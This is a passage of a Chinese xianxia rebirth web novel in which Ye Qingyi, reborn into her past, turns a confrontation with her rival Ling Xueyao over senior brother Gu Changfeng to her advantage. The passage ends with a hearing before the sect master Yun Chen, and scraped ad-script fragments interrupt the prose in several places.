“叶清漪与顾长风早已定亲,此前叶清漪尚未及笄,顾长风又被仙门录用,是以叶清漪在选擢当日打顾长风也是因为如此,如今二人即将破镜重圆……” 诸如此类让当事人都惊掉下巴的流言传出。 这一日,凌雪瑶再次带领着南宫君霖几人外加两位师弟,将叶清漪拦在了去往练武场的路上。 “叶清漪,我看你是没记住我上次说的话啊!”凌雪瑶气得指着叶清漪的鼻子骂,全然没了往日的柔弱模样。 反观叶清漪则一脸无辜,微微蹙眉,仿佛受到了很大的惊吓:“凌师姐这是说的哪里的话,师姐此前在哪儿说了什么,我素来愚笨,一时忘了也是有的,还望师姐明白示下才好。” 一旁两位脸生的师弟也是第一次来帮忙,见叶清漪这般一时都犹豫起来,这叶师妹全然不像凌雪瑶说的那般蛮横啊,是不是有什么误会? 凌雪瑶也是第一次见叶清漪这般,眼里满是说不出的震惊:叶清漪她没事吧!还叫她师姐?客气得过分诡异了,她又演的哪出……怎么还有点似曾相识? 南宫君临几人也傻了,叶清漪她这是……被夺舍了? “你少来这套!”凌雪瑶努力整理被打乱的思绪,“你这一天天背着我们干什么呢?不是警告你离大师兄远点吗,转头就忘了?” “师姐说的是这件事啊!当时师姐几人合力将我拦在半路,不分缘由训诫了一番,我实在惶恐,哪里还记得师姐说过什么?”叶清漪说着眼眸低垂,微微啜泣,眼尾带着点红,看上去愈发楚楚可怜,再次开口,声音里已然带了几分哽咽,“不过说到底都是我的不是,师姐怎么说我都认,只求师姐万不要生大师兄的气,他近来事忙,常在前山走动,难免时常遇见,我就是想避也难……但我绝不是有意破坏师姐和大师兄的关系的!” 边上两位师弟见状颇为动容。 “这么看来叶师妹也没错啊!” “是啊,大师兄又不是凌师妹一人的,难道还不让他跟其他师妹说话了吗?” “你!”凌雪瑶一时气结,听到二人的话更是气愤不已,作势就要打叶清漪。 叶清漪看着即将落下的巴掌,眼神越发地冷——前世她就是这么挨了凌雪瑶一巴掌的,只是那时她的态度十分强硬,凌雪瑶又极善扮演柔弱,只说自己一时失手,师姐不会跟我计较吧,到头来顾长风和其他师兄弟都为凌雪瑶说话,她若追究只会显得她咄咄逼人,导致叶清漪一口恶气梗在心口,只能作罢。 其实那些维护凌雪瑶的人又何尝不知道孰是孰非,只是权衡之下作出了让一切利益最大化的选择,凌雪瑶有修言护着,不会怎么受处罚,叶清漪又出了名的好脾气,戒律更是搬出让她宽宏大量的一套歪理,最后好像叶清漪才是那个恶人。 宽宏大量。 这个词曾经束缚了她一生,可到头来她又得到了什么呢? 既然如此,倒不如一开始就让人知道,她睚眦必报,蛮不讲理! 不过也可能是她换了应对的方式,凌雪瑶的行为也发生了很大改变,之前她是只身一人来兴师问罪,不由分说打了叶清漪一巴掌,叶清漪始料未及,也没有打回去;如今她不仅带了一群人来,还当着其他人的面直接动手。 不过这一世的结局自然也有所不同…… 凌雪瑶抬起手的瞬间,她感觉叶清漪的眼神变了。虽然还是像之前一般望着她,但有很细微的差别,只是她已经被愤怒冲昏了头脑,根本想不明白这是为什么! 直到一声呵斥乍然响起! “住手!” 一只有力的手抓住了她。 凌雪瑶错愕不已,一回头看到了无比熟悉的身影——顾长风! “大师兄……你怎会在此?”凌雪瑶怔怔望着顾长风,不明白他为什么会出现在这儿,她分明让人将他支开了! 一旁几个师弟师妹连忙向顾长风行礼。 “大师兄好。” 顾长风紧紧抓着凌雪瑶的胳膊,眼神阴鸷:“凌师妹都能在此,为何我不能在这儿?还是说,此刻我应该被你派来的师弟带回后山了?” “我……”凌雪瑶的手被顾长风控制着,她象征性地挣脱了两下都没成功,这是之前从来没有过的,她不由得有些慌了,错愕地望着顾长风,眼中除了震 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惊,还有一丝慌乱。 “你松手,弄疼我了!”不知是因为被戳穿了,还是手腕被弄疼了,凌雪瑶眼中已有泪光,轻易便哭了出来。 顾长风这才放手,只是仍旧侧身挡在叶清漪面前,防止凌雪瑶再有什么动作。 看着眼前哭成泪人的凌雪瑶,叶清漪不禁暗自佩服,前世她就很疑惑,凌雪瑶这说哭就哭的本事是怎么炼成的,就算自己如今学了她当年的做派,可仍旧学不来这随心所欲梨花带雨的本事,哪怕犯错的那个人明明是她…… 幸好她早有准备,早早跟顾长风打过招呼,并在不经意提到了之前那次的事情。 只可惜隔世的那一巴掌,她没法还回去了……不过看到凌雪瑶如此,倒是比打她巴掌还有意思!如此想着,叶清漪的嘴角不禁浮起一丝弧度。 凌雪瑶见状越发气愤,抬手又要打她。 “凌师妹是想连我一起打吗?”顾长风直接拦在了叶清漪面前。 “大师兄你为何总是护着她?上次也是!以前你从来不会这样,从来都是站在我这边的!”凌雪瑶红着眼质问。 “我……”顾长风被问得也有些茫然。 二人一时僵持住了,一旁几位师弟师妹都不敢多言。 气氛降到了冰点。 叶清漪清醒地看着这一切,心中对凌雪瑶的敬意又多了几分,明明是该被质问的一方,她却不动声色就将自己化为主动方,质问他人。矛盾也轻易地从她的行为是否正确,巧妙转移成他人的态度为何转变上…… 叶清漪默默在心中拜服。 眼见顾长风已经全然忘了此来的目的,转而开始试图分辨一二,凌雪瑶自知局面有所挽回,刚准备顺水推舟表示大度,将此事草草揭过,一声突兀的哽咽恰当地响起。 叶清漪以袖掩面,悲痛欲绝:“大师兄,别为了我跟凌师姐起冲突,我受点委屈原也没什么的,若非不忍见师兄与我一起饱受流言的困扰,我便是连提都不会跟师兄提的,也怪我一时失言,素日无故惹得凌师姐不快我本就已万般懊恼,如今二位若因我生了嫌隙,那我可就更是追悔莫及,到时就算再多挨几顿打,只怕也是百身莫赎了。” 一番话说的凌雪瑶脸色越来越难看,恨不得当场发作! 这叶清漪故意的吧! 22. 局势改变 叶清漪一番话准确地点醒了顾长风,他看着凌雪瑶,后退半步,护在叶清漪面前。 “顾长风,你!”凌雪瑶大为不解,“别忘了我爹爹之前是怎么吩咐你的!他要你照顾好我,你就应该什么都听我的!而不是在我面前护着旁的人!” 顾长风不卑不亢:“照顾师妹是我的责任,况且我护着的也不是旁人,她有名字,她叫叶清漪,若按上月考核的成绩来算,你合该称她一句叶师姐。” 凌雪瑶怔怔望着顾长风,不敢相信自己方才听到了什么。 叶清漪也愣了,这居然是从顾长风嘴里说出的话?果然活得久了什么都能见到…… “还有你们几个,聚众闹事,欺压同门,都忘了进山时的初衷了?”顾长风还转身斥责了其他几人。 看着这样的顾长风,叶清漪难得觉得他顺眼了几分。 凌雪瑶已经气得失去理智了,竟当众直呼顾长风大名:“顾长风,我再给你最后一次机会,你到底帮谁?” “诚如凌师妹所言,若非要说我要帮一个人的话,那我选择帮叶师妹。”顾长风言罢侧身看向叶清漪。 叶清漪错愕不已,顾长风居然会如此说的如此清楚明白,不给自己留一点转圜的余地! “一定是我这次太过分了,你才会这样说的对吗?”凌雪瑶眼已经红了,眼神慌乱,祈求般地望着顾长风。 那一刻,叶清漪第一次真切感受到凌雪瑶还是对顾长风有点真心的,原本她以为凌雪瑶只是享受顾长风对她百依百顺的感觉,可此刻面对顾长风决绝的态度,她倒是少见地露出几分失落。 “若是此前你我之间有什么误会,那我在此向凌师妹赔罪,另外此次我会帮叶师妹不是她的行为对错与否,而是……经过这段时间的接触,我已全然了解叶师妹的为人,之后无论发生什么,我都无条件相信她。” 顾长风此语一出,边上几人都是一脸吃惊,神情明显变了,但碍于凌雪瑶在场,不好表现出来,只好暗暗交换着躁动的眼神。 凌雪瑶更是不敢置信地看着顾长风,语气里带着一丝绝望:“你说什么?” 至于叶清漪—— 她正被顾长风柔情似水的眼神盯得浑身不自在。 顾长风轻轻牵起叶清漪的手。 “!!!”叶清漪一个激灵,浑身僵硬,努力控制住甩开的冲动。 忍住,为了激怒凌雪瑶,一定要忍住…… “之前你为了照顾旁人的感受,总让我和你保持距离,那些流言也不让我澄清,我只能看着你受到委屈,却什么也做不了,甚至为了避免你陷入困境,还要违心地安抚别人,可一切没能如你所愿渐渐平息,反而愈演愈烈,如今看来,我倒不如顺心而为,至少不论今后会遇到什么,我都能和你一起面对。” 那是叶清漪第一次被人牵着,之前她和连喜都没什么亲密接触,二人一直是和谐的盟友关系,成亲也是为了后期可以一起双修,所以此刻她的感受很是新奇。 顾长风手掌比她大很多,掌心黏腻温热,虽然长年练剑,保养的却挺好,没什么茧子,估计是每日坚持用玄脂膏润手,一瓶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 少说一个中品灵石吧,顾长风还真舍得。 顾长风说完那一番话,又旁若无人地看了她一会儿,这才重新看向旁人,但他始终没有放开叶清漪。 男子的掌心都这么热吗?还是因为顾长风修习的是火系术法的缘故? 叶清漪的思路不合时宜地发散着,她也试图回想前世顾长风的种种劣迹,可那也是之后的顾长风做的,此刻的他也没到那么恶劣的程度,似乎也不应受到几年后的“他自己”的牵连…… 许是因为她多活了十二年,现在的顾长风在她眼里只是个乳臭未干的小子,又正是意气风发的年纪,叶清漪悲哀地意识到,此刻顾长风的所作所为似乎也是真心的! 她到底做了什么,让顾长风变得如此判若两人!!! 叶清漪不禁有些头痛,一时不知如何应对,可她的沉默落在其他人眼里却是另一番含义,顾长风更是以为她是因为害羞才会如此。 顾长风眼神宠溺地看着她,叶清漪看都不敢看他,生怕给对方什么错误的信号,这下倒是成功打击到了凌雪瑶,可她自己好像也被拖下水了。 边上几位师弟师妹都默契地回避视线,凌雪瑶则低着头陷入沉思。 她早已习惯了顾长风的陪伴,并且以为会一直这样下去,可如今他居然当着自己的面牵着叶清漪!她还成了他口中的“别人”? “顾长风,在你进山第一年我们就相识了,如今她才来一个月,就什么都变了?你以为我会这么轻易罢休吗?” 凌雪瑶神情凶狠,像是下定了某种决心。 23. 再见云宸 凌雪瑶不知从哪儿掏出一把匕首,猛地刺向叶清漪被顾长风握住的手。 千钧一发之际,顾长风一把推开叶清漪,另一只手猛地抬起挡在她身前。 “当啷——”一声,匕首应声落地。 事出紧急,顾长风没有控制好力度,这一下差点将叶清漪打飞,她踉跄后退几步,才勉强稳住身形,却听到人群发出一声惊呼,定睛望去,顾长风的广袖赫然被划出一个大口子,他的手背也被匕首划伤。 凌雪瑶呆在当场。 其他人连忙簇拥上前,查看顾长风的情况。 和他们不同,顾长风此时已拜在修言长老门下月余,是有些修为的,虽然堪堪筑基,但对付毫无根基的凌雪瑶自是不在话下。旁人出于自保,方才那一下肯定会带上术法,情急之下难以控制,凌雪瑶会受多重的伤可就是难以预估的了。 显然,尽管凌雪瑶突然发难,顾长风还是控制住了,说明他还是下意识护着凌雪瑶的。 众人乱作一团之际,一旁的南宫君霖却没有上前,她见凌雪瑶和顾长风闹成这般模样,十分愤慨,认为一切都是叶清漪的错。 “叶清漪,你真是挑拨离间的一把好手!凌师妹和大师兄之前感情那么好,被你蓄意谋划的这一场弄得如此地步,云仞山留不得你这样的人!”南宫君霖指着叶清漪就骂。 叶清漪还没说什么,南宫君霖又看向她身后,调转枪头:“还有你!你就这么看着吗?” 叶清漪猛地一回头,发现连喜不知何时出现在她身后,她竟没有察觉。 叶清漪连忙和他拉开距离,视线却落在连喜腰间,神色复杂。 连喜伸着手,似乎想扶她一把,看到叶清漪的反应,眉头紧锁,小心翼翼上前半步,试探地问:“你还好吗?没摔着吧!” 叶清漪只是回望着他,没有答话。 二人隔着石头汀步默默对视着,一方戒备又疑惑,一方欲言又止,气氛难以言喻。 南宫君霖按捺不住了,指着叶清漪冲顾长风喊:“大师兄,你好好睁眼看看吧,你在意的叶师妹早与人暗通款曲了。” 顾长风闻言排众而出,看着相对而立的二人,眼中似有探寻。 “叶清漪,你还有什么话好说!”南宫君霖气势汹汹。 叶清漪:…… 她的确无话可说。 不用南宫君霖多言,她和连喜腰间同样款式的香囊已经让她无可辩驳。 “叶师妹,你……”顾长风微微抬手,被撕裂的广袖随之起伏,像一声极轻的诘问。 叶清漪看看一脸难色的连喜,再看势在必得的南宫,终于意识到这只是她们安排的一环罢了。想通其中关窍,叶清漪只觉无比讽刺,方才她居然还对凌雪瑶心声怜悯,可对方却早早谋划好了一切,没给她留一点后路。 连喜也猛然醒悟,神色急切上前,想跟叶清漪解释:“叶师妹,不是你想的那样,你听我解释……” 叶清漪自嘲一笑,连连后退,她能怪谁呢?重活一世还没吸取教训,险些重蹈覆辙,要怪只能怪她那不合时宜的怜悯心! 当初她将连喜送的归墟草归还时,连带香囊一起送去了,事后她又给自己做了个一模一样的,装上重新采的野生归墟草,只能怪她一念之差,给自己留了一丝虚妄的念想。这些日子她也一直在想,自己会不会对连喜做的太过分了,毕竟不为别的,单那门内培育的归墟草就已珍贵非常。 如今想来,她真是多虑了,而她一时的心软,也在今日反手刺向了她。 一如从前…… 因为心软,给了违反门规的某位师妹一次机会,后来却被对方指着鼻子骂她清高;修炼时被人暗害魔气侵体,往日受她多番照拂的同门却无一人挺身而出,替她求情;试炼大会救下被妖邪伤到的同门,却在遭遇妖邪围攻时被对方推进陷阱…… 有些人她甚至都没见过几次面,也不知道对方是哪一位师弟师妹,却总是受到莫名的敌意,可哪怕到了今日,她依旧不明白,她真的做错了吗? 她被赶出云仞那日,她忍无可忍,在长明殿前声声诘问,本以为至少能有一人醒悟,承认对她造成的伤害,却被屡次输给她的三师弟控诉她的存在就足以让人憎恨,何须理由! 叶清漪万念俱灰,自毁仙门根基,血洒殿前三尺,用尽最后一丝力气,一步步走出长明殿,只带走了一柄青霜剑。 这剑她原也带不走的,只因为仙器认主,他们无力剥夺,才肯松口。 从此,她和仙门两不相欠。 可后来,连喜救了她,无条件地帮助她,尽管她很少表露,但心里还是有所感激的。 如今,她甚至连当年连喜对她好的目的都不能确认了。 难道她重活一次就是为了剥夺前世最后一丝念想吗? 看着连喜故作愧疚的样子,她只觉得讽刺,见局面僵持着,南宫君霖大步上前,一把揪掉叶清漪的香囊,奋力一掷,扔进了远处的树丛里。 “诶!”叶清漪虚虚拦了一下。 看着叶清漪这副模样,南宫君霖脸上扬起一丝得意:“你这样的人也配留在仙门,我要是你趁早自行下山了!” 只有连喜,看了看躺在树丛中的香囊,又看了眼叶清漪,颇为担忧。 反倒是叶清漪,却没有一丝慌乱,更没有因为香囊被扔掉而愠怒。 她站在那里,气定神闲看着南宫君霖。 南宫君霖急了:“你这么看着我作什么?既做得出来,还不让别人说吗?” 哦对,忘了在场除了连喜和顾长风,大部分人修为都在她之下,看不到她的真气。 “可惜啊,本该是一场好戏。”叶清漪惋惜道。 顾长风眉头紧锁,上前一步想过来,却忽的看向她身后,神色肃然,躬身行礼,其他人也紧随其后,纷纷行礼。 叶清漪心下微动,自知不好。 “闹够了没有?”一道浑厚的声音响起,气势逼人,不怒自威。 叶清漪回身,只见一位身穿月白广袖对襟长袍的男子站在小道转弯处,中年男子模样,叶清漪见过几面,认得是凌雪瑶的父亲修言,适才开口呵斥的也是他;稍前于他半步还有一位男子, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 比修言身量略高,长身玉立,紫衣飘然,长发半束,用一枚银冠扣了,面色红润,气度非凡,看上去倒比修言还要年轻几分,正是出关不久的掌门云宸。 叶清漪堪堪对上云宸的目光,一时失神,浑身血液仿佛凝固了,望着和记忆中一模一样的云宸,不自觉就红了眼眶,全然忘了行礼。 直到退至她身旁跪下的连喜拉了拉她的袖子,她才反应过来,连忙跪下。 前世他们趁云宸闭关匆匆发落了叶清漪,后来她更是连他最后一面都没见到,若说云仞山有什么值得她牵挂的,也只有师尊了,可她别无选择,她留不下,云宸也不可能背弃仙门,况且,她知道,云宸待她好,也是因为师徒之情,可就像云宸无法逃避掌门的职责,他也无法包庇叶清漪,他唯一能做的,就是用净化魔气的灵石吊着叶清漪的仙根三天三夜,却无法阻止魔气泄露后,戒律带人直闯流云殿将她带走…… “见过长老!” “见过掌门!” 众人的高呼声将叶清漪的思绪拉回,想着方才见到的云宸,叶清漪心中些许宽慰,她入魔后,云宸一夜之间苍老了,更因为用灵力为她净化魔气,遭到反噬,不得不紧急闭关,前世最后,留在她记忆中的云宸实在算不得美好,她在魔界每每午夜梦回,都是云宸难以自保,被长老和弟子们联手害死的画面,这也让她对云宸之死心存疑虑,只是直到最后她也未能得知真相。 这一次,她可以改变云宸的结局吗? 如果她不拜云宸为师,是否就能避免一切? 事发突然,牵动了叶清漪太多回忆,她正低头跪着,思绪万千,却不料一双银面云底长靴出现在视野里,云宸径直走到了她面前。 叶清漪下意识屏住了呼吸,不知为何有种做贼心虚的感觉…… “你是新进山的?”熟悉的声音响起,云宸语气里带了点疑惑。 叶清漪只觉鼻尖一酸,险些控制不住情绪,被连喜碰了下胳膊才回过神:“回掌门,是……” 云宸心思敏捷,叶清漪不敢说太多,生怕被他察觉出端倪。 “资质倒是不错。”好在云宸并未多言,说完这一句就往顾长风那边去了。 修言紧随其后,路过叶清漪面前时略作停顿,似是哼了一声,一拂袖,走了。 “都起来吧!”随着云宸一声令下,叶清漪和众人纷纷起身,又刚好对上云宸洞若观火的眼神。 叶清漪连忙避开视线。 “现在的弟子真是越来越难带了!”修言别有深意地感叹,“聚众闹事,私自修习,公然违反门规,所有人全部带回沧云殿,听候发落!” 云宸近日忙着突破功法,不时闭关,修言代行掌门职责,是以他可以当着云宸的面发号施令。 看着胳膊上四溢的真气,叶清漪有些苦恼,虽然她已经不打算掩饰了,但也没想过要被云宸发现,这下她要怎么解释? 还有一事她也甚是不解:一向深居简出的云宸,为何会忽然来到前山,还恰好路过此处呢? 看着一旁敛目垂首的连喜,叶清漪不禁陷入沉思…… 24. 沧云会审 云仞山有两个议事殿,沧云殿位于前山,长明殿则位于后山。 很不巧,这两个议事殿叶清漪都十分熟悉,时隔六年再次踏入,竟有种回家的感觉。 沧云殿当年她破解问道堂结界时就已经来过了。 那时云宸不在,只有修言和戒律两位长老主持局面,彼时她还不曾和凌雪瑶针锋相对,修言也没有过度关注她,只是在原本十遍门规的基础上多加了十遍,以示惩戒。 也不知如今他会如何发难。 云宸和修言在大殿正前方转过身来,叶清漪一行人行至殿前停下,听候发落。 弟子们心知,进了沧云殿,事情就严重了。 顾长风与连喜都一脸难色,凌雪瑶也没了以往的盛气凌人,其余人更是战战兢兢,生怕行差踏错。 只有叶清漪,有种让人困扰的从容。 修言的视线不悦地在叶清漪脸上划过,转而看向顾长风:“你这伤口先下去处理一下吧!” 言罢一拂袖,示意站在后面的一位小师弟上前帮忙。 小师弟如获大赦,忙不迭赶上来。 顾长风抬手示意:“一点小伤,无碍。” 小师弟的手绝望地停在半空。 顾长风不愿回避,修言也没有强求,略带责怪地看了眼凌雪瑶,结果凌雪瑶只顾着关注顾长风的伤势,根本没看到亲爹的眼神。 修言清了清嗓子提醒,凌雪瑶才回过神,收回视线。 修言恨铁不成钢地看了眼凌雪瑶,暗暗摇头。 又以要避嫌为由让云宸主持局面。 云宸只道:“同为仙门弟子,并无远近亲疏之分,何来避嫌!” 依旧让修言来处理。 倒不是云宸好性子,只是明眼人都看得出来修言只是走个形式,而且若真由云宸处置凌雪瑶,无论轻重都不好办。 修言这才开始问责。 “说吧,到底怎么回事!” 这话却不是对凌雪瑶说的,虽然叶清漪也预料到了这个局面,而且修言发话,其他人也不敢先回禀,都等着几位重点人物先开口,连喜不在事件中心,不清楚缘由,自然不会贸然开口;顾长风也不会,毕竟事情的起因还是凌雪瑶和叶清漪。 一般这个时候,凌雪瑶就会先声夺人,将自己撇清,或者直接认错,自我反省,痛定思痛,将对方架在圣人的标准上,谁跟她计较就是不够大度,赶尽杀绝,再加上有修言和顾长风二人护着,稀里糊涂就这么算了。 前世叶清漪就切切实实领教了好几次,什么叫恶人先告状。 这次凌雪瑶果然又打算先发制人,刚憋出个哭音,叶清漪就找准了时机和她一同开口。 凌雪瑶:“都是阿瑶的不是!” 叶清漪:“都是我一人的不是!” 修言:嗯? 云宸:嗯? 凌雪瑶回过头怪异地看了眼叶清漪,片刻后再次尝试—— “都怪阿瑶一时冲动!” “是我不该惹怒凌师姐!” 顾长风:??? 连喜:??? 其他人:什么情况? 凌雪瑶:“阿瑶不是有心的。” 叶清漪:“要罚就罚我!” 凌雪瑶忍无可忍,恨恨瞪着叶清漪。 叶清漪不为所动。 修言连连摆手:“且慢且慢,一个个说!” 凌雪瑶又试图抢先了几次,但每次叶清漪都和她同时开口,修言最后没法子了,干脆一挥手:“你二人都别开口,站在后面的那位,你来说吧!” 修言看似随手一指,实则点到的却是与凌雪瑶交好的南宫君霖。 凌雪瑶见状明显松了一口气,还暗暗和南宫君霖对了个眼神。 南宫君霖自然不会放过这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个机会,指着叶清漪,言辞激烈地控诉:“都怪叶清漪,是她居心叵测,挑拨同门关系!” 凌雪瑶得意地望着叶清漪。 然而叶清漪早就等着南宫君霖说出这话了。 修言果然将矛头对准叶清漪:“她所言属实吗?” 叶清漪一脸惊恐:“弟子惶恐,实在不知南宫师妹为何这样说!” 南宫君霖见她这样,更是激动:“你不在问道堂好好修习,一天天往练武场跑,谁不知道你是特意去接近大师兄,离间他跟凌师妹的关系!” 凌雪瑶也一脸怨恨地看着她。 叶清漪试图辩解:“我没有……” 南宫君霖:“大家都看见了,你还要狡辩吗?” “我……”叶清漪故作为难。 修言不欲等她开口,抢先问责顾长风:“长风,是她说的那样吗?” 顾长风上前一步,拱手行礼:“启禀师尊、掌门,叶师妹近些时日确实与我在练武场见过几次,不过我们只是在探讨试炼大会的事宜,泽成师弟也在场。” 云宸侧首询问:“这次试炼大会安排给长风了?” 修言无奈地承认:“是,只是试炼大会向来由亲传弟子负责,她一个还未开蒙的学徒能懂什么?长风你也是,这种事情犯得着跟她说吗?” 顾长风不卑不亢,替叶清漪陈情:“叶师妹虽然进山时日尚短,却有真知灼见,给了我和泽成很多有用的建议,我二人这才顺利理清全部流程,只是没想到会给叶师妹带来不必要的麻烦,也没料到事态会发展至此,是我考虑不周了。” 顾长风此语一出,满座哗然。 只有叶清漪努力克制着嘴角的笑意:她自然熟悉试炼大会的流程了,毕竟前世参加了很多次,当了大师姐后的那三年里,也都是叶清漪和顾长风一起筹备试炼大会,这次找他合作,叶清漪还有点回到过去的感觉。 25. 金色资质 “掌门师兄,若是我没记错的话,试炼大会应该轮不到非正式弟子来插手吧!”修言话里有话地说。 “是啊!再说了,谁知道他们是不是借着讨论试炼大会的名目,暗度陈仓啊!”凌雪瑶口无遮拦地指责。 “凌师妹是连我也怀疑吗?”顾长风不再逃避,直接反驳凌雪瑶。 “我……”凌雪瑶一时失语。 “若是不信,大可让泽成前来作证,或请来戒律长老的观尘镜,一看便知。” 顾长风说的方法固然简单直接,但却会将局面变得针锋相对,到时即便弄清真相,也无法妥善收场了。 “长风稍待,倒也不至如此。”云宸终于开口。 “没错,如今也不是盘问你,只是想弄清事情原委。”修言立马随之改口,“既然知道是误会一场,解释清楚也就好了。” 修言顺势要将事情大事化小:“师兄,依我看不如……” “不对吧!”叶清漪走上前故作惊讶地牵起顾长风受伤的手,“哎呀,大师兄这道伤口虽然不深,可也是需要修养十几日才能逐渐愈合吧!若是再留下什么疤痕可怎么好?凌师妹虽然是误伤,可在仙门内攻击同门应该不是什么小事吧!更别提随身佩戴如此锋利的匕首了。” 叶清漪不过虚虚牵起顾长风,却感觉整个人不由自主地僵硬了,叶清漪有些惊讶,但装作未曾察觉。 凌雪瑶气结:“你!” 修言轻咳一声示意她安分待着。 “此事确是瑶儿的不是,但她也并非故意为之,瑶儿平日虽说顽劣了些,但也只是使点小性子,不会做出伤害同门的事,若非有心人故意刺激,她也不会一时冲动做下这糊涂事来。”修言话里话外意有所指。 “修言长老和凌师妹不愧是亲父女,这颠倒黑白的能力还真是一脉相承。”叶清漪直接将往日的内心独白说出来,从前这些话她只会憋在心里,总担心说出来得罪人,担心局面变得尴尬。 如今她还有什么好顾忌的! 修言的反应果然很大,指着她:“你说什么?” 凌雪瑶也很气愤,冠冕堂皇地指责她目无尊长。 其他几位神色也都有些不自然,纷纷看向叶清漪,似乎都在为她担忧。 可他们又能如何呢?天不会塌,她也不会再因为隐忍不发郁结于心,也不会因为被迫说违心的话而气闷,岂不是再好不过! 叶清漪干脆接着说道:“难道不是吗?照修言长老这么说,也是因为我让凌雪瑶一时冲动,才会提前带了匕首在身上吗?” 凌雪瑶气急败坏:“你!” 叶清漪:“若非如此,难不成这匕首是凭空变出来的?凌师妹如今应该还未修得结丹期后才会炼成的幻化之术吧!” 叶清漪此言一出,在场之人反应各异,修言和凌雪瑶自是恼羞成怒,顾长风和连喜还在莫名担忧叶清漪,云宸却在听完叶清漪最后一句话后抬眼朝她看了过来,柔和的眼神里多了一丝寻味。 “这位……叶清漪?”云宸只短短说了这几个字,语调不高,但所有人都停了下来,认真等待云宸示下。 叶清漪原本还在欣赏修言父女的反应,听到众人没了声音她才意识到自己好像失言了。 果然,云宸接着就问叶清漪:“你似乎对云仞的修习之道很是熟悉?” 叶清漪:糟了! 等等,云宸方才似乎没介意她的无礼?也是稀奇。 云宸向来最重规矩,掌门点名,无论何事,都该自报名字回应。 “弟子,弟子……”随便找个借口糊弄其实也不难,但叶清漪就是没办法随意欺瞒云宸,许是前世与他做了好几年师徒的缘故。 顾长风和连喜见状都替叶清漪担忧,只是云宸问话,他们又不好开口替叶清漪分辨,只能在一旁干着急。 “怎么?答不上来了吧!”眼见众人关注的对象转移,凌雪瑶不免幸灾乐祸。 “你且说来无妨。”云宸温柔的目光遥远落在她身上,让叶清漪有片刻的失神。 “是啊!还有你这一身的真气究竟怎么回事?不打算跟掌门和同门师兄弟们解释一下吗?”修言立马抓住这个对付叶清漪的大好机会。 凌雪瑶拧着眉头:“什么真气?” “你们看看自己能不能看得见叶清漪身上的真气,看得见则修为高于她,看不见嘛,修为就在她之下。”修言不大乐意地用余光瞥了眼凌雪瑶。 “凭什么看不到修为就比她低?说不定她是使了什么障眼法,让你们以为她是百年难遇的奇才呢!”凌雪瑶胡乱攀扯。 修言在一旁扶额。 其他人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都没说话,凌雪瑶也愣住了,大概是明白叶清漪修为比她高这件事可能真的是事实。 回想之前的种种,她忽然意识到,不知从何时起,叶清漪就没在课上睡过觉了,最近几次考核叶清漪的成绩也都稳定保持在中等以上,远远超过她十几位,只是凌雪瑶都没在意。 原来叶清漪成绩倒数已经是自己对她的固有印象了。 凌雪瑶有些慌了,难得露出无措的神情。 而且她心里也清楚,如果叶清漪用了什么障眼法,就算能瞒过顾长风他们,也瞒不过云宸,退一万步说,如果叶清漪真用了障眼法,还瞒过了所有人,那她的修为只会更高。 “我……”叶清漪局促地扯了扯袖子,试图以此来掩盖身上四溢的真气。 但没等她想好说辞,云宸已经转头去问修言:“听说选擢之时有位是金色资质的,可是这位叶清漪?” 修言不太情愿地承认:“确有此事,彼时掌门师兄正在闭关,出关这些日子又诸事繁杂,便忘了将此事禀告师兄。” 知道此事的顾长风闻言,神情却并不轻松;连喜则是微微讶异,侧身看向叶清漪。 其他人已经开始议论纷纷,凌雪瑶的脸色更是难看。 “什么?” “金色资质?那是什么意思?” “……” 云宸也不细究修言的疏漏,继而道:“近年来甚少遇见金色乃至以上的资质了,倒不用你费心记着,我也自然会知道的,学徒们进得仙山,多多少少会吸收山中仙气,浸润肌理,荡涤身心,资质良莠只是奠定了不同基础,优良资质者更加受用,想来如是。” 云宸不疾不徐地说完这一番话,虽然没直接替叶清漪分辨,却又无形之中替她解释了一切。 叶清漪心情复杂,思绪万千,她其实已经想好这一世不再拜入云宸门下,也不入选亲传弟子,只当个内门弟子远远关注云宸即可,也便于暗地调查幕后之人,只是如今一见云宸,她不禁又有些动摇了,尤其如今云宸还不动声色地替她分辨,虽然顺理成章,但叶清漪心中总觉得云宸带了一点私心,可这分明是二人这一世初次相见。 叶清漪慌乱地抬头,正对上云宸说完话后自然而然落在她身上的视线,他的目光自带悲悯,叶清漪恍惚间又回到了初初拜入云宸门下那年。 26. 甲等最优 如今的云宸和当时似乎很不一样,叶清漪进入流云殿那天,云宸就独自在听雨阁打坐,见到她来拜见,也只是轻抬眼眸,看了她一眼,吩咐了句让她随意住下,不必拘束,复又轻阖双目。 叶清漪应了是,又问在何处起居,云宸只说让她自行挑选,再不多言其他。叶清漪就挑了一间小一点的偏殿住了, 后来修炼也是如此,云宸从来没教授过叶清漪修炼之法,只每隔一段时间丢给她两三本心法,让她在多少时日内完成,到了日子再给她两本其他的,随着修炼难度加大,后面的时间间隔也逐渐变大,不过叶清漪悟性还可以,没错都能在差不多时间内完成,中间有段时间修为突飞猛进,用时则更短了些,再往后到了第二年,随着修炼难度加大,叶清漪也迎来了第一个瓶颈期,依稀记得是她突破悟道期进入第一重天时,她足有三个多月没有任何进展。 那段时间云宸也没有交给她新的任务。 云宸的传授之道看似随意,实则都是根据叶清漪的情况来安排的。 只是叶清漪不明白,云宸明明看重她,对她的修炼安排也十分费心,为何对她又如此冷淡? 回想初次在昭明殿前相见,云宸虽然没有过多干预亲传弟子的选拔过程,可当看到叶清漪落选,他也是有表露出一些情绪的,叶清漪能感受到,云宸既看得出这场选拔的端倪,也明白叶清漪的实力,所以才破格将她留下,原本云宸名下是没有名额的。 区别于如今的云宸,那时的云宸到底多了一丝生气。 只是叶清漪没想到,三年前的云宸竟是这样鲜活,他心怀悲悯,温和不失坚毅,风采卓绝,衣袂胜雪。 究竟发生了什么,会让他在短短三年间就判若两人,并决心从此不再收徒? 